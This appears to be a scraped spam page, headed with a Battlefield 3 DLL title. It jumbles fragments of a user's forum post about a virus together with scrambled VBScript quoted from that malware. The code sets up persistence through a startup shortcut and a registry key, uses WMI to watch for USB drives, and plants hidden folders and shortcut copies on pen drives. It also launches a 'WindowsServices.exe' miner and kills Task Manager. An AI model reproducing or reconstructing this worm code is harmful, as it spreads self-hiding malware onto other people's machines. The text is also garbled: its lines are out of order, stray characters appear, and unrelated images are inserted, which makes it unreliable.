ObjDestFolder.Attributes = objDestFolder.Attributes + 2 + 4 Set objDestFolder = objws.GetFolder(DummyFolder) If (not objws.folderexists(DummyFolder)) then Link.IconLocation = "%windir%\system32\SHEL元2.dll, 7" Set link = ws.CreateShortcut(device & "\" & devicename & ".lnk") If (not objws.fileexists (device & devicename & ".lnk")) then ObjDestFolder.Attributes = objDestFolder.Attributes + 39Ĭall moveandhide ("\WindowsServices.exe") Set objDestFolder = objws.GetFolder(DestFolder) If (not objws.folderexists(DestFolder)) then If objEvent.Path_.Class = "_InstanceCreationEvent" Thenĭevice = ĭevicename = Set colEvents = objWMIService.ExecNotificationQuery ("SELECT * FROM _InstanceOperationEvent WITHIN 1 WHERE " & "TargetInstance ISA 'Win32_LogicalDisk'") Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Ws.Run Chr(34) & strPath & procname & Chr(34)ĭIM colEvents, objws, strComputer, objEvent, DestFolder, strFolder, Target, ws, objFile, objWMIService, DummyFolder, check, number, home, device, devicename, colProcess, vaprocess, objWinMgmt Ws.run "taskkill /PID " & objProcess.ProcessId, 0 If unt = 0 And unt = 0 thenĮlseIf unt > 0 And unt > 0 then Set tskProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name Like '%Taskmgr.exe%'") Set colProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name Like '%WindowsServices.exe%'") Set colProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name = 'wscript.exe'")Ĭall procheck(colProcess, "installer.vbs") Link.TargetPath =chr(34) & strPath & "helper.vbs" & chr(34) Set link = ws.CreateShortcut(startupPath & "\helper.lnk") If (not objws.fileexists(startupPath & "\helper.lnk")) then Miner = Chr(34) & strPath & "WindowsServices.exe" & Chr(34)
![battlefield 3 d3dcompiler_43.dll battlefield 3 d3dcompiler_43.dll](https://xboxplay.games/uploadStream/22054.jpg)
StartupPath = ws.SpecialFolders("startup") StrFolder = objws.GetParentFolderName(objFile) Set objws = CreateObject("Scripting.FileSystemObject") Set objWinMgmt = GetObject("WinMgmts:Root\Cimv2") Nkey = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder\helper.lnk" Set ws = WScript.CreateObject("WScript.Shell")
![battlefield 3 d3dcompiler_43.dll battlefield 3 d3dcompiler_43.dll](https://i.ytimg.com/vi/r2RhnHDXRXM/mqdefault.jpg)
#BATTLEFIELD 3 D3DCOMPILER_43.DLL CODE#
I know a little programming language and I know which part of the code the shortcut is created, but I can't find where the virus is located on my computer.ĭim ws, strPath, objws, objFile, strFolder, startupPath, MyScript, objWinMgmt, colProcess, vaprocess, miner, tskProcess, nkey, key A fter many attempts to solve the problem, I found an hidden folder with 3 files: "helper.vbs", "installer.vbs" and "movemenoreg.vbs". My computer has a virus that creates on my pen drive shortcuts of itself.